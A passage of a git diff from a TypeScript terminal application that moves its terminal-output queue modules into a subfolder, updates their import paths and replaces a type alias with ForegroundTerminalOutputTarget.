-})
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-cursor-sequencing.ts
similarity index 98%
rename from src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-cursor-sequencing.ts
index 7667bca097e..4172758b9ec 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-cursor-sequencing.ts
@@ -2,7 +2,7 @@ import {
   CURSOR_SHOW_SEQUENCE,
   CURSOR_HIDE_SEQUENCE,
   containsCursorRestore
-} from '../../../../shared/terminal/protocol/escape/terminal-cursor-restore'
+} from '../../../../../shared/terminal/protocol/escape/terminal-cursor-restore'
 
 type CursorQueueEntry = {
   chunks: { data: string }[]
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-queue-state.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-queue-state.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-terminal-foreground-queue-state.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-queue-state.ts
index c4d72e042b6..99ad7306be2 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-queue-state.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-queue-state.ts
@@ -2,19 +2,19 @@ import {
   queuedByTerminal,
   scheduleDrain,
   type QueueEntry,
-  type TerminalOutputTarget,
   type WriteTerminalOutputOptions
 } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 
 const DEFAULT_FOREGROUND_COALESCE_DELAY_MS = 1000
 export const FOREGROUND_HOLD_SAFETY_DELAY_MS = 250
 export const LATENCY_SENSITIVE_FOREGROUND_COALESCE_DELAY_MS = 16
 export const LATENCY_SENSITIVE_FOREGROUND_HOLD_SAFETY_DELAY_MS = 32
 
-const recentForegroundSafetyFlushAt = new WeakMap<TerminalOutputTarget, number>()
+const recentForegroundSafetyFlushAt = new WeakMap<ForegroundTerminalOutputTarget, number>()
 
 export function createQueueEntry(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   options: WriteTerminalOutputOptions
 ): QueueEntry {
   return {
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-render-settle.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-render-settle.ts
index 9c6468ee076..5a890847912 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-foreground-render-settle.ts
@@ -1,10 +1,10 @@
-import { forceRepaintThroughRenderPause } from './terminal-render-pause-release'
+import { forceRepaintThroughRenderPause } from '../terminal-rendering/terminal-render-pause-release'
 import {
   disposeParsedDirtyRows,
   readParsedDirtyRowSpan,
   resetParsedDirtyRows,
   type ParsedDirtyRowSpan
-} from './terminal-parsed-dirty-rows'
+} from '../terminal-rendering/terminal-parsed-dirty-rows'
 import { runGuardedWriteCompletionStep } from './xterm-write-callback-guard'
 
 export type ForegroundTerminalOutputTarget = {
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-ack-credit.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-ack-credit.ts
similarity index 80%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-ack-credit.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-ack-credit.ts
index 7ba4c418f1f..284d31c8c54 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-ack-credit.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-ack-credit.ts
@@ -1,14 +1,13 @@
 import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 
 /** The xterm instance the credits belong to; only its reference is used as a key. */
-type TerminalOutputAckTarget = ForegroundTerminalOutputTarget
 
-const inFlightAckCompletions = new WeakMap<TerminalOutputAckTarget, Set<() => void>>()
+const inFlightAckCompletions = new WeakMap<ForegroundTerminalOutputTarget, Set<() => void>>()
 
 /** Tracks credits after submission to xterm so pane disposal can treat its
  * unparsed write buffer as discarded instead of leaking main's ACK window. */
 export function registerTerminalOutputAckCredits(
-  terminal: TerminalOutputAckTarget,
+  terminal: ForegroundTerminalOutputTarget,
   credits: readonly (() => void)[]
 ): (() => void) | undefined {
   if (credits.length === 0) {
@@ -37,7 +36,9 @@ export function registerTerminalOutputAckCredits(
   return complete
 }
 
-export function discardInFlightTerminalOutputAckCredits(terminal: TerminalOutputAckTarget): void {
+export function discardInFlightTerminalOutputAckCredits(
+  terminal: ForegroundTerminalOutputTarget
+): void {
   const completions = inFlightAckCompletions.get(terminal)
   if (!completions) {
     return
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-drain.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-drain.ts
similarity index 87%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-drain.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-drain.ts
index 54c982427b0..34415dc8f0b 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-drain.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-drain.ts
@@ -1,7 +1,7 @@
 import {
-  recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure,
-  terminalOutputSchedulerDebugEnabled as debugEnabled,
-  terminalOutputSchedulerDebugState as debugState
+  recordTerminalOutputQueueDebugPressure,
+  terminalOutputSchedulerDebugEnabled,
+  terminalOutputSchedulerDebugState
 } from './pane-terminal-output-scheduler-debug'
 import { clearForegroundRelease, isEntryDrainable } from './pane-terminal-foreground-queue-state'
 import { hasHighPriorityBacklog, hasQueuedChunks } from './pane-terminal-output-queue-backlog'
@@ -87,11 +87,11 @@ export function drainQueuedOutputImpl(): void {
     const writeKind = writeQueuedChunk(entry)
     if (writeKind) {
       writes++
-      if (debugEnabled) {
+      if (terminalOutputSchedulerDebugEnabled) {
         if (writeKind === 'foreground') {
-          debugState.deferredForegroundWriteCount++
+          terminalOutputSchedulerDebugState.deferredForegroundWriteCount++
         } else {
-          debugState.backgroundWriteCount++
+          terminalOutputSchedulerDebugState.backgroundWriteCount++
         }
       }
     }
@@ -107,11 +107,11 @@ export function drainQueuedOutputImpl(): void {
     }
   }
 
-  if (debugEnabled && writes > 0) {
-    debugState.drainWrites.push(writes)
-    debugState.drainHighPriority.push(highPriority)
+  if (terminalOutputSchedulerDebugEnabled && writes > 0) {
+    terminalOutputSchedulerDebugState.drainWrites.push(writes)
+    terminalOutputSchedulerDebugState.drainHighPriority.push(highPriority)
   }
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
   if (queuedByTerminal.size > 0 && hasDrainableBacklog()) {
     // Posted messages already yield to input/paint; add no 4ms delay. Keep timer cadence for fake-timer tests.
     scheduleDrain(
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-flusher.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-flusher.ts
similarity index 86%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-flusher.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-flusher.ts
index cf6727bb7ff..617d06d1439 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-flusher.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-flusher.ts
@@ -8,10 +8,10 @@ import {
 import { removeTransientCursorShowSequences } from './pane-terminal-cursor-sequencing'
 import { takeQueuedChunk } from './pane-terminal-output-queue-chunks'
 import {
-  exposeTerminalOutputSchedulerDebugApi as exposeDebugApi,
-  recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure,
-  terminalOutputSchedulerDebugEnabled as debugEnabled,
-  terminalOutputSchedulerDebugState as debugState
+  exposeTerminalOutputSchedulerDebugApi,
+  recordTerminalOutputQueueDebugPressure,
+  terminalOutputSchedulerDebugEnabled,
+  terminalOutputSchedulerDebugState
 } from './pane-terminal-output-scheduler-debug'
 import {
   composeParsedCallback,
@@ -26,15 +26,15 @@ import {
   fireQueuedAckCredits,
   queuedByTerminal,
   requestRegisteredTerminalBacklogRecovery,
-  scheduleDrain,
-  type TerminalOutputTarget
+  scheduleDrain
 } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 
 export function flushTerminalOutputImpl(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   options?: { maxChars?: number }
 ): void {
-  exposeDebugApi()
+  exposeTerminalOutputSchedulerDebugApi()
   const entry = queuedByTerminal.get(terminal)
   if (!entry) {
     return
@@ -56,7 +56,7 @@ export function flushTerminalOutputImpl(
     entry.queuedChars = 0
     entry.highPriority = false
     clearForegroundRelease(entry)
-    recordQueueDebugPressure()
+    recordTerminalOutputQueueDebugPressure()
     return
   }
 
@@ -64,8 +64,8 @@ export function flushTerminalOutputImpl(
   let queuedWrite = takeQueuedChunk(entry, BACKGROUND_CHUNK_CHARS)
   while (queuedWrite) {
     flushedChars += queuedWrite.data.length
-    if (debugEnabled) {
-      debugState.flushWriteCount++
+    if (terminalOutputSchedulerDebugEnabled) {
+      terminalOutputSchedulerDebugState.flushWriteCount++
     }
     const ackCreditsParsed = registerTerminalOutputAckCredits(terminal, queuedWrite.ackCredits)
     armTerminalWriteStallWatch(terminal, {
@@ -101,7 +101,7 @@ export function flushTerminalOutputImpl(
       if (!writeAccepted) {
         fireQueuedAckCredits(entry)
         clearForegroundRelease(entry)
-        recordQueueDebugPressure()
+        recordTerminalOutputQueueDebugPressure()
         return
       }
     } catch {
@@ -110,7 +110,7 @@ export function flushTerminalOutputImpl(
       ackCreditsParsed?.()
       fireQueuedAckCredits(entry)
       clearForegroundRelease(entry)
-      recordQueueDebugPressure()
+      recordTerminalOutputQueueDebugPressure()
       return
     }
     if (options?.maxChars !== undefined && flushedChars >= options.maxChars) {
@@ -126,5 +126,5 @@ export function flushTerminalOutputImpl(
     entry.highPriority = false
     clearForegroundRelease(entry)
   }
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
 }
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-pipeline.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-pipeline.ts
similarity index 93%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-pipeline.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-pipeline.ts
index 320396704cb..c896522df88 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-pipeline.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-pipeline.ts
@@ -10,7 +10,7 @@ import {
 } from './terminal-write-pipeline-health'
 import { removeTransientCursorShowSequences } from './pane-terminal-cursor-sequencing'
 import { takeQueuedChunk } from './pane-terminal-output-queue-chunks'
-import { recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure } from './pane-terminal-output-scheduler-debug'
+import { recordTerminalOutputQueueDebugPressure } from './pane-terminal-output-scheduler-debug'
 import { clearForegroundRelease } from './pane-terminal-foreground-queue-state'
 import {
   BACKGROUND_CHUNK_CHARS,
@@ -19,9 +19,9 @@ import {
   queuedByTerminal,
   scheduleDrain,
   type QueueEntry,
-  type TerminalOutputParsedCallback,
-  type TerminalOutputTarget
+  type TerminalOutputParsedCallback
 } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 import {
   discardDetachedQueueEntry,
   hasHighPriorityBacklog
@@ -29,7 +29,7 @@ import {
 
 // Why no per-write scroll enforcement: xterm's BufferService.isUserScrolling owns live follow/pin; app-side enforcement is limited to structural ops xterm can't identify, like replay.
 export function writeBackgroundTerminalChunk(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   data: string,
   onParsed?: TerminalOutputParsedCallback,
   onWriteFailure?: () => void
@@ -69,7 +69,7 @@ function makeParseClockPacer(): () => void {
 }
 
 export function composeParsedCallback(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   onParsed: TerminalOutputParsedCallback | undefined,
   ackCreditsParsed: (() => void) | undefined,
   pacer: (() => void) | undefined
@@ -87,7 +87,7 @@ export function composeParsedCallback(
 }
 
 export function composeWriteFailureCallback(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   ackCreditsParsed: (() => void) | undefined
 ): () => void {
   return () => {
@@ -152,7 +152,7 @@ export function writeQueuedChunk(entry: QueueEntry): 'foreground' | 'background'
       entry.chunkIndex = 0
       entry.queuedChars = 0
       clearForegroundRelease(entry)
-      recordQueueDebugPressure()
+      recordTerminalOutputQueueDebugPressure()
       return null
     }
   } catch {
@@ -164,7 +164,7 @@ export function writeQueuedChunk(entry: QueueEntry): 'foreground' | 'background'
     entry.chunkIndex = 0
     entry.queuedChars = 0
     clearForegroundRelease(entry)
-    recordQueueDebugPressure()
+    recordTerminalOutputQueueDebugPressure()
     return null
   }
   return queuedWrite.foreground ? 'foreground' : 'background'
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-backlog.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-backlog.ts
similarity index 91%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-queue-backlog.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-backlog.ts
index edb2dfb853c..f41cb7b4ae3 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-backlog.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-backlog.ts
@@ -1,8 +1,8 @@
 import { recordRendererCrashBreadcrumb } from '@/diagnostics/crash-reporting/crash-breadcrumb-recorder'
 import {
-  recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure,
-  terminalOutputSchedulerDebugEnabled as debugEnabled,
-  terminalOutputSchedulerDebugState as debugState
+  recordTerminalOutputQueueDebugPressure,
+  terminalOutputSchedulerDebugEnabled,
+  terminalOutputSchedulerDebugState
 } from './pane-terminal-output-scheduler-debug'
 import {
   clearForegroundHoldSafety,
@@ -77,11 +77,11 @@ export function replaceBacklogWithWarning(
   entry.backgroundBacklogDropped = true
   entry.highPriority = true
   entry.foregroundHold = false
-  if (debugEnabled && shouldNotify) {
-    debugState.droppedBacklogCount++
+  if (terminalOutputSchedulerDebugEnabled && shouldNotify) {
+    terminalOutputSchedulerDebugState.droppedBacklogCount++
   }
   clearForegroundRelease(entry)
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
   entry.onBacklogReplaced?.()
   if (shouldNotify) {
     entry.onBackgroundBacklogDropped?.()
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.test.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.test.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.ts
index 2747691b592..2edb5149141 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.ts
@@ -1,12 +1,12 @@
 import { flattenRetainedSlice } from '@/lib/flatten-retained-slice'
-import { resolveSynchronizedOutputSafeSplit } from '../../../../shared/terminal/protocol/escape/terminal-synchronized-output-scan'
+import { resolveSynchronizedOutputSafeSplit } from '../../../../../shared/terminal/protocol/escape/terminal-synchronized-output-scan'
 import type {
   QueueEntry,
   QueuedWrite,
   TerminalOutputBeforeWrite,
   TerminalOutputParsedCallback
 } from './pane-terminal-output-queue-registry'
-import { recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure } from './pane-terminal-output-scheduler-debug'
+import { recordTerminalOutputQueueDebugPressure } from './pane-terminal-output-scheduler-debug'
 
 type ForegroundRefreshSyncResolver = () => boolean
 const ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY = (): boolean => true
@@ -119,7 +119,7 @@ export function takeQueuedChunk(entry: QueueEntry, limit: number): QueuedWrite |
   if (entry.queuedChars < 0) {
     entry.queuedChars = 0
   }
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
   const assembledData = dataParts ? dataParts.join('') : data
   return assembledData
     ? {
@@ -201,5 +201,5 @@ export function enqueueChunk(
     ackCredit: options?.ackCredit
   })
   entry.queuedChars += data.length
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
 }
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-registry.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry.ts
similarity index 91%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-queue-registry.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry.ts
index 42ae06819ca..9bd989c9a62 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-registry.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry.ts
@@ -7,17 +7,15 @@ import { cancelTerminalWriteStallWatch } from './terminal-write-pipeline-health'
 import {
   TERMINAL_OUTPUT_BACKLOG_MIN_CAP_CHARS,
   terminalOutputBacklogCapChars
-} from '../../../../shared/terminal/replay/terminal-scrollback-policy'
+} from '../../../../../shared/terminal/replay/terminal-scrollback-policy'
 import {
-  exposeTerminalOutputSchedulerDebugApi as exposeDebugApi,
-  recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure,
+  exposeTerminalOutputSchedulerDebugApi,
+  recordTerminalOutputQueueDebugPressure,
   setTerminalOutputDebugQueueReader,
-  terminalOutputSchedulerDebugEnabled as debugEnabled,
-  terminalOutputSchedulerDebugState as debugState
+  terminalOutputSchedulerDebugEnabled,
+  terminalOutputSchedulerDebugState
 } from './pane-terminal-output-scheduler-debug'
 
-export type TerminalOutputTarget = ForegroundTerminalOutputTarget
-
 export type TerminalOutputBeforeWrite = (data: string) => void
 type TerminalBacklogRecoveryRequest = () => boolean
 export type TerminalOutputParsedCallback = () => void
@@ -68,7 +66,7 @@ export type QueuedWrite = {
 }
 
 export type QueueEntry = {
-  terminal: TerminalOutputTarget
+  terminal: ForegroundTerminalOutputTarget
   chunks: QueueChunk[]
   chunkIndex: number
   queuedChars: number
@@ -118,10 +116,10 @@ export const FOREGROUND_BACKLOG_WARNING =
   '\x18\x1b[?2026l\x1b[0m\r\n[Orca skipped a burst of terminal output because the backlog grew too large.]\r\n'
 export const ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY = (): boolean => true
 
-export const queuedByTerminal = new Map<TerminalOutputTarget, QueueEntry>()
+export const queuedByTerminal = new Map<ForegroundTerminalOutputTarget, QueueEntry>()
 setTerminalOutputDebugQueueReader(() => queuedByTerminal.values())
 const backlogRecoveryByTerminal = new WeakMap<
-  TerminalOutputTarget,
+  ForegroundTerminalOutputTarget,
   TerminalBacklogRecoveryRequest
 >()
 let drainTimer: ReturnType<typeof setTimeout> | null = null
@@ -186,8 +184,8 @@ export function scheduleDrain(delayMs: number): void {
   if (queuedByTerminal.size === 0) {
     return
   }
-  if (debugEnabled) {
-    debugState.scheduledDrainCount++
+  if (terminalOutputSchedulerDebugEnabled) {
+    terminalOutputSchedulerDebugState.scheduledDrainCount++
   }
   if (delayMs === 0 && useMessageChannelDrain) {
     drainImmediatePending = true
@@ -205,7 +203,9 @@ export function fireQueuedAckCredits(entry: QueueEntry): void {
   }
 }
 
-export function requestRegisteredTerminalBacklogRecovery(terminal: TerminalOutputTarget): boolean {
+export function requestRegisteredTerminalBacklogRecovery(
+  terminal: ForegroundTerminalOutputTarget
+): boolean {
   const requestRecovery = backlogRecoveryByTerminal.get(terminal)
   if (!requestRecovery) {
     return false
@@ -214,7 +214,7 @@ export function requestRegisteredTerminalBacklogRecovery(terminal: TerminalOutpu
 }
 
 export function registerTerminalBacklogRecovery(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   requestRecovery: TerminalBacklogRecoveryRequest
 ): () => void {
   backlogRecoveryByTerminal.set(terminal, requestRecovery)
@@ -225,8 +225,8 @@ export function registerTerminalBacklogRecovery(
   }
 }
 
-export function discardTerminalOutput(terminal: TerminalOutputTarget): void {
-  exposeDebugApi()
+export function discardTerminalOutput(terminal: ForegroundTerminalOutputTarget): void {
+  exposeTerminalOutputSchedulerDebugApi()
   const entry = queuedByTerminal.get(terminal)
   if (entry) {
     // Why: discarded chunks still consumed their deliveries — credit them or main's in-flight window leaks (fireQueuedAckCredits).
@@ -237,5 +237,5 @@ export function discardTerminalOutput(terminal: TerminalOutputTarget): void {
   discardForegroundRenderSettle(terminal)
   // Why: cancel the watch without masquerading as parse progress; replay guards use real completions to tell slow from wedged.
   cancelTerminalWriteStallWatch(terminal)
-  recordQueueDebugPressure()
+  recordTerminalOutputQueueDebugPressure()
 }
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-debug.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-scheduler-debug.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-debug.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-scheduler-debug.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-scheduler.ts
similarity index 64%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-scheduler.ts
index fa13f583096..92412439ca6 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-scheduler.ts
@@ -3,53 +3,23 @@ import {
   isTerminalWritePipelineCertifiedDead,
   recordTerminalParseProgress
 } from './terminal-write-pipeline-health'
-import { exposeTerminalOutputSchedulerDebugApi as exposeDebugApi } from './pane-terminal-output-scheduler-debug'
+import { exposeTerminalOutputSchedulerDebugApi } from './pane-terminal-output-scheduler-debug'
 import { flushTerminalOutputImpl } from './pane-terminal-output-flusher'
 import { writeTerminalOutputImpl } from './pane-terminal-output-writer'
 import { writeXtermParseBarrier } from './xterm-parse-barrier'
 import { noteTerminalOutputArrival } from './terminal-output-arrival-observer'
 import {
   requestRegisteredTerminalBacklogRecovery,
-  type TerminalOutputTarget,
   type WriteTerminalOutputOptions
 } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 // Import for registration: drain installs the runner used by scheduleDrain; this facade is every consumer’s graph entry point.
 import './pane-terminal-output-drain'
 
-export {
-  ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY,
-  BACKGROUND_BACKLOG_WARNING,
-  BACKGROUND_CHUNK_CHARS,
-  BACKGROUND_DRAIN_INTERVAL_MS,
-  BACKGROUND_FLUSH_DELAY_MS,
-  DRAIN_TIME_BUDGET_MS,
-  FOREGROUND_BACKLOG_WARNING,
-  HIGH_PRIORITY_DRAIN_INTERVAL_MS,
-  HIGH_PRIORITY_MAX_WRITES_PER_DRAIN,
-  LARGE_BACKLOG_CHARS,
-  MAX_BACKGROUND_QUEUE_CHUNKS,
-  MAX_WRITES_PER_DRAIN,
-  configureTerminalOutputBacklogCap,
-  discardTerminalOutput,
-  getTerminalOutputMaxQueueChars,
-  isMessageChannelDrainEnabled,
-  markTerminalOutputDrainStarted,
-  queuedByTerminal,
-  registerTerminalBacklogRecovery,
-  requestRegisteredTerminalBacklogRecovery,
-  scheduleDrain,
-  type QueueEntry,
-  type QueuedWrite,
-  type TerminalOutputBeforeWrite,
-  type TerminalOutputParsedCallback,
-  type TerminalOutputTarget,
-  type WriteTerminalOutputOptions
-} from './pane-terminal-output-queue-registry'
-
 const PARSE_SETTLE_TIMEOUT_MS = 250
 
 export function writeTerminalOutput(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   data: string,
   options: WriteTerminalOutputOptions
 ): void {
@@ -60,18 +30,20 @@ export function writeTerminalOutput(
 }
 
 export function flushTerminalOutput(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   options?: { maxChars?: number }
 ): void {
   flushTerminalOutputImpl(terminal, options)
 }
 
-export function requestTerminalBacklogRecovery(terminal: TerminalOutputTarget): void {
-  exposeDebugApi()
+export function requestTerminalBacklogRecovery(terminal: ForegroundTerminalOutputTarget): void {
+  exposeTerminalOutputSchedulerDebugApi()
   requestRegisteredTerminalBacklogRecovery(terminal)
 }
 
-export function waitForTerminalOutputParsed(terminal: TerminalOutputTarget): Promise<void> {
+export function waitForTerminalOutputParsed(
+  terminal: ForegroundTerminalOutputTarget
+): Promise<void> {
   flushTerminalOutput(terminal)
   if (isTerminalWritePipelineCertifiedDead(terminal)) {
     // Why: a dead pipeline cannot settle; recovery owns it and serializers must not enqueue probe writes during a pending remount retry.
@@ -107,4 +79,4 @@ export function waitForTerminalOutputParsed(terminal: TerminalOutputTarget): Pro
   })
 }
 
-exposeDebugApi()
+exposeTerminalOutputSchedulerDebugApi()
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-writer.ts b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-writer.ts
similarity index 90%
rename from src/renderer/src/lib/pane-manager/pane-terminal-output-writer.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-writer.ts
index eddadf28f5b..c7dbabecc82 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-writer.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-writer.ts
@@ -13,9 +13,9 @@ import {
 } from './pane-terminal-cursor-sequencing'
 import { enqueueChunk } from './pane-terminal-output-queue-chunks'
 import {
-  exposeTerminalOutputSchedulerDebugApi as exposeDebugApi,
-  terminalOutputSchedulerDebugEnabled as debugEnabled,
-  terminalOutputSchedulerDebugState as debugState
+  exposeTerminalOutputSchedulerDebugApi,
+  terminalOutputSchedulerDebugEnabled,
+  terminalOutputSchedulerDebugState
 } from './pane-terminal-output-scheduler-debug'
 import { flushTerminalOutputImpl } from './pane-terminal-output-flusher'
 import { composeParsedCallback, composeWriteFailureCallback } from './pane-terminal-output-pipeline'
@@ -40,16 +40,16 @@ import {
   discardTerminalOutput,
   queuedByTerminal,
   scheduleDrain,
-  type TerminalOutputTarget,
   type WriteTerminalOutputOptions
 } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 
 export function writeTerminalOutputImpl(
-  terminal: TerminalOutputTarget,
+  terminal: ForegroundTerminalOutputTarget,
   data: string,
   options: WriteTerminalOutputOptions
 ): void {
-  exposeDebugApi()
+  exposeTerminalOutputSchedulerDebugApi()
   // Why: recovery may be budget-delayed while PTY output keeps flowing; main owns the authoritative buffer, so credit delivery without waking dead xterm.
   if (isTerminalWritePipelineCertifiedDead(terminal)) {
     options.ackCredit?.()
@@ -83,9 +83,9 @@ export function writeTerminalOutputImpl(
         onParsed: options.onParsed,
         ackCredit: options.ackCredit
       })
-      if (debugEnabled) {
-        debugState.foregroundWriteCount++
-        debugState.deferredForegroundEnqueueCount++
+      if (terminalOutputSchedulerDebugEnabled) {
+        terminalOutputSchedulerDebugState.foregroundWriteCount++
+        terminalOutputSchedulerDebugState.deferredForegroundEnqueueCount++
       }
       // Why: a visible pane's queue was previously uncapped — a flood the drain couldn't keep up with ballooned renderer memory without bound.
       if (queueCapExceeded(queued)) {
@@ -155,9 +155,9 @@ export function writeTerminalOutputImpl(
         onParsed: options.onParsed,
         ackCredit: options.ackCredit
       })
-      if (debugEnabled) {
-        debugState.foregroundWriteCount++
-        debugState.deferredForegroundEnqueueCount++
+      if (terminalOutputSchedulerDebugEnabled) {
+        terminalOutputSchedulerDebugState.foregroundWriteCount++
+        terminalOutputSchedulerDebugState.deferredForegroundEnqueueCount++
       }
       if (queueCapExceeded(entry)) {
         replaceBacklogWithWarning(entry, FOREGROUND_BACKLOG_WARNING)
@@ -187,9 +187,9 @@ export function writeTerminalOutputImpl(
         onParsed: options.onParsed,
         ackCredit: options.ackCredit
       })
-      if (debugEnabled) {
-        debugState.foregroundWriteCount++
-        debugState.deferredForegroundEnqueueCount++
+      if (terminalOutputSchedulerDebugEnabled) {
+        terminalOutputSchedulerDebugState.foregroundWriteCount++
+        terminalOutputSchedulerDebugState.deferredForegroundEnqueueCount++
       }
       if (queueCapExceeded(queued)) {
         replaceBacklogWithWarning(queued, FOREGROUND_BACKLOG_WARNING)
@@ -199,8 +199,8 @@ export function writeTerminalOutputImpl(
       return
     }
     flushTerminalOutputImpl(terminal)
-    if (debugEnabled) {
